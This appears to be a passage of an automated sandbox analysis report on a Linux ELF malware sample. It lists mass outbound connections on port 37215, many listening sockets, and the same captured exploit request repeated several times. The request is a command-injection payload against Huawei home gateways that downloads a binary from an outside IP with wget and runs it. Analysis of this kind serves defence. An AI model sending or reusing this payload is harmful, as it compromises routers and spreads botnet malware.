Source: global traffic TCP traffic: 192.168.2.23:51702 -> 27.14.183.236:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.72.123.42:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.50.110.37:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.167.11.93:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.56.231.199:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.35.77.72:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 199.109.152.234:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.179.231.14:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 197.183.111.138:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.241.10.73:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.32.20.232:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 157.72.93.122:37215
Source: global traffic TCP traffic: 192.168.2.23:51702 -> 41.254.37.50:37215
Sample listens on a socket
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::80 Jump to behavior
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::1337 Jump to behavior
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::1312 Jump to behavior
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::3778 Jump to behavior
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::59666 Jump to behavior
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::9375 Jump to behavior
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::54321 Jump to behavior
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::1234 Jump to behavior
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::606 Jump to behavior
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::9506 Jump to behavior
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::23552 Jump to behavior
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::5683 Jump to behavior
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::430 Jump to behavior
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::1111 Jump to behavior
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::1024 Jump to behavior
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::1791 Jump to behavior
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::5555 Jump to behavior
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::45 Jump to behavior
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::9931 Jump to behavior
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::61002 Jump to behavior
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::9521 Jump to behavior
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::443 Jump to behavior
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::0 Jump to behavior
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::666 Jump to behavior
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::25565 Jump to behavior
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::56999 Jump to behavior
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::3007 Jump to behavior
Source: /tmp/naZZ0BK2hf.elf (PID: 6237) Socket: 0.0.0.0::60129 Jump to behavior
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 471Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 30 38 2e 31 30 37 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 2d 72 20 64 69 61 67 30 30 2f 6c 6f 67 32 31 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6d 75 70 64 3b 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.208.107.26 -l /tmp/.mupd -r diag00/log21.mips; /bin/busybox chmod 777 /tmp/.mupd; /tmp/.mupd selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 471Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 30 38 2e 31 30 37 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 2d 72 20 64 69 61 67 30 30 2f 6c 6f 67 32 31 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6d 75 70 64 3b 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.208.107.26 -l /tmp/.mupd -r diag00/log21.mips; /bin/busybox chmod 777 /tmp/.mupd; /tmp/.mupd selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 471Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 30 38 2e 31 30 37 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 2d 72 20 64 69 61 67 30 30 2f 6c 6f 67 32 31 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6d 75 70 64 3b 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.208.107.26 -l /tmp/.mupd -r diag00/log21.mips; /bin/busybox chmod 777 /tmp/.mupd; /tmp/.mupd selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 471Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 30 38 2e 31 30 37 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 2d 72 20 64 69 61 67 30 30 2f 6c 6f 67 32 31 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6d 75 70 64 3b 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.208.107.26 -l /tmp/.mupd -r diag00/log21.mips; /bin/busybox chmod 777 /tmp/.mupd; /tmp/.mupd selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 471Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 30 38 2e 31 30 37 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 2d 72 20 64 69 61 67 30 30 2f 6c 6f 67 32 31 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6d 75 70 64 3b 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.208.107.26 -l /tmp/.mupd -r diag00/log21.mips; /bin/busybox chmod 777 /tmp/.mupd; /tmp/.mupd selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 471Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 30 38 2e 31 30 37 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 2d 72 20 64 69 61 67 30 30 2f 6c 6f 67 32 31 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6d 75 70 64 3b 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.208.107.26 -l /tmp/.mupd -r diag00/log21.mips; /bin/busybox chmod 777 /tmp/.mupd; /tmp/.mupd selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 471Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 30 38 2e 31 30 37 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 2d 72 20 64 69 61 67 30 30 2f 6c 6f 67 32 31 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6d 75 70 64 3b 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.208.107.26 -l /tmp/.mupd -r diag00/log21.mips; /bin/busybox chmod 777 /tmp/.mupd; /tmp/.mupd selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 471Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 30 38 2e 31 30 37 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 2d 72 20 64 69 61 67 30 30 2f 6c 6f 67 32 31 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6d 75 70 64 3b 20 2f 74 6d 70 2f 2e 6d 75 70 64 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.208.107.26 -l /tmp/.mupd -r diag00/log21.mips; /bin/busybox chmod 777 /tmp/.mupd; /tmp/.mupd selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo 